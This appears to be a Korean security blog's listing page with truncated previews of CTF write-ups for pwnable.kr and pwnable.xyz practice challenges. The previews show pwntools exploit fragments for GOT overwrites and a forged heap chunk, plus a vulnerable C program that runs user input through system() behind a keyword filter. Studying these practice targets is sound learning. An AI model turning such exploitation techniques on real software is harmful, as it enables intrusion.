전체 글 326

pwnable.kr - [Toddler's Bottle] coin1

#-*- coding:utf-8 -*- # SyntaxError: Non-ASCII character '\xeb' 발생하므로 맨 앞에 추가 from pwn import * # time expired 뜨네,, (인터넷 연결 문제?) # 이전에 썼던 pwnable.kr의 ssh 계정 하나 사용해서 내부에서 스크립트 실행해보자 # nc ip port = remote(IP, PORT) # s = ssh(user="shellshock", host="pwnable.kr", port=2222, password="guest") # p = s.remote("localhost", 9007) # 이래도 시간부족 -> 아예 /tmp 아래 폴더 하나 만들고 python 파일 만들어서 실행시키자 p = remote("localh..

pwnable.kr - [Toddler's Bottle] cmd1

#include #include int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; } PATH 환경변수 - 명령을 찾기 위해 검색할 디렉토리 지정 putenv("PATH=/~") // 기존 PATH 환경변수를 덮어씀! -> cat 명령어 쓰려면 /bin/cat 이렇게 명령어 위치 절..

pwnable.xyz - free spirit

from pwn import * # context.log_level = 'debug' p = remote("svc.pwnable.xyz", 30005) # p = process("./challenge") # pwndbg 터미널 열리면 거기서 bp 세팅하고 c 입력 후 원래 터미널에서 아무키나 입력 (동적분석!!!!) # 그러면 파이썬 코드 실행되고 bp에서 멈출 것. free() 근처에서 분석하자 # gdb.attach(p) # pause() win = 0x400a3e # 위치 안변하고, write 가능한 바이너리의 .data영역 (0x601000~0x602000)에 fake_chunk 만들자 # 0x601010, 0x601020 에는 stdin,stdout 관련 데이터 들어있으므로 0x601030 부터..

pwnable.xyz - two targets

from pwn import * p = remote("svc.pwnable.xyz", 30031) printf_got = 0x603038 # overwrite 시점에 이미 사용된 함수 (printf,scanf,atoi,read) puts_got = 0x603020 # \x20 = space, scanf 함수는 공백/줄바꿈 만나면 입력 멈춤 strncmp_got = 0x603018 win = 0x40099c p.sendafter("> ", "2") # 문자 입력하는 것이므로 little endian 형식으로 주어야함 # 배열 앞에서부터 한바이트씩 채워짐 p.sendafter("nationality: ", b'A'*0x10+p64(strncmp_got)) p.sendafter("> ", "3") p.send..

반응형